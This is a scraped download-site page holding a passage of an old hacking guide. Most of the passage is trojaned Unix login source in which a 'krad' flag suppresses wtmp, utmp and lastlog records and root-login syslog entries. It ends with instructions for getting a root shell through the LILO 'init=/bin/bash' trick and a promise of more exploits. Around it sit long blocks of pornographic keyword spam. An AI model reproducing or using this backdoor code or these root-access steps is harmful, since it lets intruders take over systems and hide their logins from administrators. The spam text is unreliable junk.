亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? the newbies-user's guide to hacking.txt

?? a collection of mega hacking tools
?? TXT
?? 第 1 頁 / 共 4 頁
字號:
		    struct hostent *he;		    strncpy(ut.ut_host, hostname, sizeof(ut.ut_host));		    if ((he = gethostbyname(hostname)))		      memcpy(&ut.ut_addr, he->h_addr_list[0],			     sizeof(ut.ut_addr));		}               				utmpname(_PATH_UTMP);		setutent();		if(krad == 0)		   pututline(&ut);		   		   		   		endutent();				if((wtmp = open(_PATH_WTMP, O_APPEND|O_WRONLY)) >= 0) {		        flock(wtmp, LOCK_EX);		        		        if(krad == 0)			   write(wtmp, (char *)&ut, sizeof(ut));			   			   			   		        flock(wtmp, LOCK_UN);			close(wtmp);		}	}        /* fix_utmp_type_and_user(username, ttyn, LOGIN_PROCESS); */#endif        if(krad == 0)	   dolastlog(quietlog);	#ifndef linux	if (!hflag) {					/* XXX */		static struct winsize win = { 0, 0, 0, 0 };		(void)ioctl(0, TIOCSWINSZ, &win);	}#endif	(void)chown(ttyn, pwd->pw_uid,	    (gr = getgrnam(TTYGRPNAME)) ? gr->gr_gid : pwd->pw_gid);	(void)chmod(ttyn, 0622);	(void)setgid(pwd->pw_gid);	initgroups(username, pwd->pw_gid);#ifdef HAVE_QUOTA	quota(Q_DOWARN, pwd->pw_uid, (dev_t)-1, 0);#endif	if (*pwd->pw_shell == '\0')		pwd->pw_shell = _PATH_BSHELL;#ifndef linux	/* turn on new line discipline for the csh */	else if (!strcmp(pwd->pw_shell, _PATH_CSHELL)) {		ioctlval = NTTYDISC;		(void)ioctl(0, TIOCSETD, &ioctlval);	}#endif	/* preserve TERM even without -p flag */	{		char *ep;				if(!((ep = getenv("TERM")) && (termenv = strdup(ep))))		  termenv = "dumb";	}	/* destroy environment unless user has requested preservation */	if (!pflag)        {          environ = (char**)malloc(sizeof(char*));	  memset(environ, 0, sizeof(char*));	}#ifndef linux	(void)setenv("HOME", pwd->pw_dir, 1);	(void)setenv("SHELL", pwd->pw_shell, 1);	if (term[0] == '\0')		strncpy(term, stypeof(tty), sizeof(term));	(void)setenv("TERM", term, 0);	(void)setenv("USER", pwd->pw_name, 1);	(void)setenv("PATH", _PATH_DEFPATH, 0);#else        (void)setenv("HOME", pwd->pw_dir, 0);      /* legal to override */        if(pwd->pw_uid)          (void)setenv("PATH", _PATH_DEFPATH, 1);        else          (void)setenv("PATH", _PATH_DEFPATH_ROOT, 1);	(void)setenv("SHELL", pwd->pw_shell, 1);	(void)setenv("TERM", termenv, 1);        /* mailx will give a funny error msg if you forget this one */        (void)sprintf(tmp,"%s/%s",_PATH_MAILDIR,pwd->pw_name);        (void)setenv("MAIL",tmp,0);        /* LOGNAME is not documented in login(1) but	   HP-UX 6.5 does it. We'll not allow modifying it.	 */	(void)setenv("LOGNAME", pwd->pw_name, 1);#endif#ifndef linux	if (tty[sizeof("tty")-1] == 'd')		        if(krad == 0)		   syslog(LOG_INFO, "DIALUP %s, %s", tty, pwd->pw_name);		   		   		   #endif	if (pwd->pw_uid == 0)	   	   	   if(krad == 0)		if (hostname)			syslog(LOG_NOTICE, "ROOT LOGIN ON %s FROM %s",			    tty, hostname);		else			syslog(LOG_NOTICE, "ROOT LOGIN ON %s", tty);													if (!quietlog) {		struct stat st;		motd();		(void)sprintf(tbuf, "%s/%s", _PATH_MAILDIR, pwd->pw_name);		if (stat(tbuf, &st) == 0 && st.st_size != 0)			(void)printf("You have %smail.\n",			    (st.st_mtime > st.st_atime) ? "new " : "");	}	(void)signal(SIGALRM, SIG_DFL);	(void)signal(SIGQUIT, SIG_DFL);	(void)signal(SIGINT, SIG_DFL);	(void)signal(SIGTSTP, SIG_IGN);	(void)signal(SIGHUP, SIG_DFL);	/* discard permissions last so can't get killed and drop core */	if(setuid(pwd->pw_uid) < 0 && pwd->pw_uid) {	    syslog(LOG_ALERT, "setuid() failed");	    exit(1);	}	/* wait until here to change directory! */	if (chdir(pwd->pw_dir) < 0) {		(void)printf("No directory %s!\n", pwd->pw_dir);		if (chdir("/"))			exit(0);		pwd->pw_dir = "/";		(void)printf("Logging in with home = \"/\".\n");	}	/* if the shell field has a space: treat it like a shell script */	if (strchr(pwd->pw_shell, ' ')) {	    char *buff = malloc(strlen(pwd->pw_shell) + 6);	    if (buff) {		strcpy(buff, "exec ");		strcat(buff, pwd->pw_shell);		execlp("/bin/sh", "-sh", "-c", buff, (char *)0);		fprintf(stderr, "login: couldn't exec shell script: %s.\n",			strerror(errno));		exit(0);	    }	    fprintf(stderr, "login: no memory for shell script.\n");	    exit(0);	}	tbuf[0] = '-';	strcpy(tbuf + 1, ((p = rindex(pwd->pw_shell, '/')) ?			  p + 1 : pwd->pw_shell));	execlp(pwd->pw_shell, tbuf, (char *)0);	(void)fprintf(stderr, "login: no shell: %s.\n", strerror(errno));	exit(0);}voidgetloginname(){	register int ch;	register char *p;	static char nbuf[UT_NAMESIZE + 1];	for (;;) {		(void)printf("\n%s login: ", thishost); fflush(stdout);		for (p = nbuf; (ch = getchar()) != '\n'; ) {			if (ch == EOF) {				badlogin(username);				exit(0);			}			if (p < nbuf + UT_NAMESIZE)				*p++ = ch;		}		if (p > nbuf)			if (nbuf[0] == '-')				(void)fprintf(stderr,				    "login names may not start with '-'.\n");			else {				*p = '\0';				username = nbuf;				break;			}	}}void timedout(){	struct termio ti;		(void)fprintf(stderr, "Login timed out after %d seconds\n", timeout);	/* reset echo */	(void) ioctl(0, TCGETA, &ti);	ti.c_lflag |= ECHO;	(void) ioctl(0, TCSETA, &ti);	exit(0);}introotterm(ttyn)	char *ttyn;#ifndef linux{	struct ttyent *t;	return((t = getttynam(ttyn)) && t->ty_status&TTY_SECURE);}#else{   int fd;  char buf[100],*p;  int cnt, more;  fd = open(SECURETTY, O_RDONLY);  if(fd < 0) return 1;  /* read each line in /etc/securetty, if a line matches our ttyline     then root is allowed to login on this tty, and we should return     true. */  for(;;) {	p = buf; cnt = 100;	while(--cnt >= 0 && (more = read(fd, p, 1)) == 1 && *p != '\n') p++;	if(more && *p == '\n') {		*p = '\0';	  	if(!strcmp(buf, ttyn)) {  			close(fd);  			return 1;	  	} else  			continue;  	} else {  		close(fd);  		return 0;  	}  }}#endifjmp_buf motdinterrupt;voidmotd(){	register int fd, nchars;	void (*oldint)(), sigint();	char tbuf[8192];	if ((fd = open(_PATH_MOTDFILE, O_RDONLY, 0)) < 0)		return;	oldint = signal(SIGINT, sigint);	if (setjmp(motdinterrupt) == 0)		while ((nchars = read(fd, tbuf, sizeof(tbuf))) > 0)			(void)write(fileno(stdout), tbuf, nchars);	(void)signal(SIGINT, oldint);	(void)close(fd);}void sigint(){	longjmp(motdinterrupt, 1);}voidchecknologin(){	register int fd, nchars;	char tbuf[8192];	if ((fd = open(_PATH_NOLOGIN, O_RDONLY, 0)) >= 0) {		while ((nchars = read(fd, tbuf, sizeof(tbuf))) > 0)			(void)write(fileno(stdout), tbuf, nchars);		sleepexit(0);	}}voiddolastlog(quiet)	int quiet;{	struct lastlog ll;	int fd;	if ((fd = open(_PATH_LASTLOG, O_RDWR, 0)) >= 0) {		(void)lseek(fd, (off_t)pwd->pw_uid * sizeof(ll), L_SET);		if (!quiet) {			if (read(fd, (char *)&ll, sizeof(ll)) == sizeof(ll) &&			    ll.ll_time != 0) {				(void)printf("Last login: %.*s ",				    24-5, (char *)ctime(&ll.ll_time));				if (*ll.ll_host != '\0')				  printf("from %.*s\n",					 (int)sizeof(ll.ll_host), ll.ll_host);				else				  printf("on %.*s\n",					 (int)sizeof(ll.ll_line), ll.ll_line);			}			(void)lseek(fd, (off_t)pwd->pw_uid * sizeof(ll), L_SET);		}		memset((char *)&ll, 0, sizeof(ll));		(void)time(&ll.ll_time);		strncpy(ll.ll_line, tty, sizeof(ll.ll_line));		if (hostname)			strncpy(ll.ll_host, hostname, sizeof(ll.ll_host));		if(krad == 0)		   (void)write(fd, (char *)&ll, sizeof(ll));		(void)close(fd);	}}voidbadlogin(name)	char *name;{	if (failures == 0)		return;	if (hostname)		syslog(LOG_NOTICE, "%d LOGIN FAILURE%s FROM %s, %s",		    failures, failures > 1 ? "S" : "", hostname, name);	else		syslog(LOG_NOTICE, "%d LOGIN FAILURE%s ON %s, %s",		    failures, failures > 1 ? "S" : "", tty, name);}#undef	UNKNOWN#define	UNKNOWN	"su"#ifndef linuxchar *stypeof(ttyid)	char *ttyid;{	struct ttyent *t;	return(ttyid && (t = getttynam(ttyid)) ? t->ty_type : UNKNOWN);}#endif voidchecktty(user, tty)     char *user;     char *tty;{    FILE *f;    char buf[256];    char *ptr;    char devname[50];    struct stat stb;    /* no /etc/usertty, default to allow access */    if(!(f = fopen(_PATH_USERTTY, "r"))) return;    while(fgets(buf, 255, f)) {	/* strip comments */	for(ptr = buf; ptr < buf + 256; ptr++) 	  if(*ptr == '#') *ptr = 0;	strtok(buf, " \t");	if(strncmp(user, buf, 8) == 0) {	    while((ptr = strtok(NULL, "\t\n "))) {		if(strncmp(tty, ptr, 10) == 0) {		    fclose(f);		    return;		}		if(strcmp("PTY", ptr) == 0) {#ifdef linux		    sprintf(devname, "/dev/%s", ptr);		    /* VERY linux dependent, recognize PTY as alias		       for all pseudo tty's */		    if((stat(devname, &stb) >= 0)		       && major(stb.st_rdev) == 4 		       && minor(stb.st_rdev) >= 192) {			fclose(f);			return;		    }#endif		}	    }	    /* if we get here, /etc/usertty exists, there's a line	       beginning with our username, but it doesn't contain the	       name of the tty where the user is trying to log in.	       So deny access! */	    fclose(f);	    printf("Login on %s denied.\n", tty);	    badlogin(user);	    sleepexit(1);	}    }    fclose(f);    /* users not mentioned in /etc/usertty are by default allowed access       on all tty's */}voidgetstr(buf, cnt, err)	char *buf, *err;	int cnt;{	char ch;	do {		if (read(0, &ch, sizeof(ch)) != sizeof(ch))			exit(1);		if (--cnt < 0) {			(void)fprintf(stderr, "%s too long\r\n", err);			sleepexit(1);		}		*buf++ = ch;	} while (ch);}voidsleepexit(eval)	int eval;{	sleep((unsigned int)5);	exit(eval);}So if you really wanna have root access and have access to console, rebootit (carefully, do a ctrl-alt-del) and at lilo prompt do a : init=/bin/bash rw (for linux 2.0.0 and above (I think)).Don't wonder why I was speaking only about rootshell and dhp.com, there arelots of other very good hacking pages, but these ones are updated veryquickly and besides, are the best pages I know.So folks, this was it...First version of my USER's GUIDE 1.0.Maybe I'll do better next time, and if I have more time, I'll add about50(more) other exploits, remote ones, new stuff, new techniques, etc...See ya, folks !GOOD NIGHT !!! (it's 6.am now).DAMN !!!ARGHHH! I forgot... My e-mail adress is <phantom@lhab-gw.soroscj.ro>.(for now).

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
久久久久久久久久久久久久久99| 久久精品国产精品亚洲综合| 国产精品久久久一本精品| 欧美大片在线观看一区二区| 日韩欧美一区在线| 7799精品视频| 欧美大片在线观看| 2023国产精品自拍| 欧美国产亚洲另类动漫| 中文av一区特黄| 亚洲欧洲国产日韩| 亚洲另类中文字| 亚洲国产中文字幕| 蜜桃久久精品一区二区| 精品一区二区三区在线观看| 国产在线一区观看| 国产成人啪午夜精品网站男同| 国产福利一区在线| 99精品视频在线免费观看| 91福利在线免费观看| 欧美日韩国产成人在线91| 日韩女同互慰一区二区| 国产天堂亚洲国产碰碰| 自拍偷拍国产精品| 亚洲图片欧美色图| 国产在线精品免费av| 成人性生交大片免费看中文网站| 99re在线精品| 91精品国产综合久久久久| 久久综合99re88久久爱| 亚洲视频在线一区观看| 三级一区在线视频先锋| 国产一区二区三区免费看| 99v久久综合狠狠综合久久| 欧美蜜桃一区二区三区| 久久夜色精品一区| 亚洲精品免费在线| 蜜臀av一区二区三区| av在线不卡网| 91精选在线观看| 日本一二三不卡| 日韩在线一二三区| 粉嫩av一区二区三区在线播放| 色综合久久久网| 欧美一级久久久久久久大片| 国产精品乱人伦中文| 亚洲高清免费观看 | 精品中文字幕一区二区| 成人在线一区二区三区| 欧美天堂一区二区三区| 国产亚洲一本大道中文在线| 亚洲一区二区三区四区不卡| 国产高清在线精品| 制服丝袜中文字幕亚洲| 亚洲日韩欧美一区二区在线| 青娱乐精品视频在线| 色综合咪咪久久| 久久综合视频网| 亚洲第一主播视频| 99天天综合性| 精品国产免费视频| 日韩黄色小视频| 色综合久久久久综合| 国产亚洲一区二区在线观看| 午夜免费久久看| 91视频免费观看| 久久众筹精品私拍模特| 日韩国产成人精品| 91激情在线视频| 国产精品免费久久久久| 精品亚洲成a人| 欧美日本一区二区| 亚洲视频综合在线| 国产在线播放一区| 7777精品伊人久久久大香线蕉的| 国产精品国产三级国产三级人妇 | 国模娜娜一区二区三区| 欧美日韩精品一区二区三区蜜桃 | 精品午夜久久福利影院| 欧美体内she精高潮| 中文字幕日韩精品一区| 国产91精品精华液一区二区三区| 91精品国产综合久久福利| 亚洲免费电影在线| 99麻豆久久久国产精品免费| 欧美国产在线观看| 国产精品18久久久久久久网站| 日韩欧美卡一卡二| 日本aⅴ精品一区二区三区 | 一区二区理论电影在线观看| 99视频精品全部免费在线| 亚洲国产精品成人综合| 国产成人综合亚洲91猫咪| 精品久久国产老人久久综合| 免费成人av资源网| 日韩午夜小视频| 免费观看日韩电影| 欧美成人性福生活免费看| 美女网站一区二区| 91精品国产欧美一区二区成人| 五月天丁香久久| 91精品欧美综合在线观看最新| 日韩av一区二区三区四区| 欧美日韩国产美| 日韩av一级电影| 日韩欧美激情四射| 久久国产精品色婷婷| 久久日韩粉嫩一区二区三区| 国产经典欧美精品| 亚洲一区二区三区精品在线| 91久久线看在观草草青青| 国产精品久久久久婷婷| 国产69精品久久久久777| 国产午夜亚洲精品理论片色戒 | 欧美人与禽zozo性伦| 久久精品国产亚洲a| 国产精品美女久久久久aⅴ国产馆 国产精品美女久久久久av爽李琼 国产精品美女久久久久高潮 | 亚洲欧美偷拍三级| 69久久99精品久久久久婷婷| 国产精品一区二区在线播放| 亚洲综合色网站| 精品美女在线播放| 日本电影亚洲天堂一区| 久久国产福利国产秒拍| 亚洲免费看黄网站| 久久午夜色播影院免费高清| 欧美午夜精品一区| 丁香婷婷深情五月亚洲| 视频一区二区欧美| 亚洲日本在线天堂| 精品久久久网站| 在线欧美小视频| 国产成人精品aa毛片| 全部av―极品视觉盛宴亚洲| 中文字幕一区二区三区乱码在线| 日韩欧美亚洲国产另类 | 香蕉成人啪国产精品视频综合网 | 99久久婷婷国产精品综合| 免费欧美日韩国产三级电影| 国产精品萝li| 久久综合九色综合久久久精品综合| 欧洲在线/亚洲| av在线不卡免费看| 国产精品一区久久久久| 亚洲成a人v欧美综合天堂| 国产喂奶挤奶一区二区三区| 日韩一区二区高清| 欧美性一级生活| 99国产精品久| 成人在线一区二区三区| 久久69国产一区二区蜜臀| 日日摸夜夜添夜夜添亚洲女人| 亚洲视频免费观看| 中文字幕成人网| 久久午夜电影网| 精品欧美久久久| 91精品国产综合久久蜜臀| 欧美三电影在线| 91成人免费电影| 成人免费视频视频在线观看免费| 久久99精品国产| 日产国产欧美视频一区精品| 亚洲国产精品久久久久婷婷884| 亚洲伦理在线精品| 亚洲男同1069视频| 亚洲天堂av一区| 亚洲欧洲日韩av| 日韩毛片精品高清免费| 欧美日韩国产精选| 欧美日韩国产综合视频在线观看 | 丝袜美腿亚洲综合| 亚洲一区二区三区在线播放| 综合av第一页| 亚洲免费观看高清完整版在线| 亚洲视频电影在线| 亚洲欧美影音先锋| 亚洲欧美日韩系列| 一区二区视频免费在线观看| 一区二区成人在线| 亚洲成人免费电影| 午夜精品免费在线| 免费看欧美女人艹b| 久久精品国产亚洲高清剧情介绍| 麻豆成人在线观看| 久久精品国产在热久久| 激情综合色综合久久| 韩国精品久久久| 国产乱人伦偷精品视频免下载| 国产一区二区在线电影| 国产成人精品亚洲午夜麻豆| 成人h动漫精品一区二区| 99久久久免费精品国产一区二区| 一本高清dvd不卡在线观看| 色婷婷综合久久久| 欧美高清www午色夜在线视频| 欧美一区二区在线观看| 精品少妇一区二区三区日产乱码| 久久综合九色综合97婷婷| 国产精品久久看| 亚洲图片一区二区|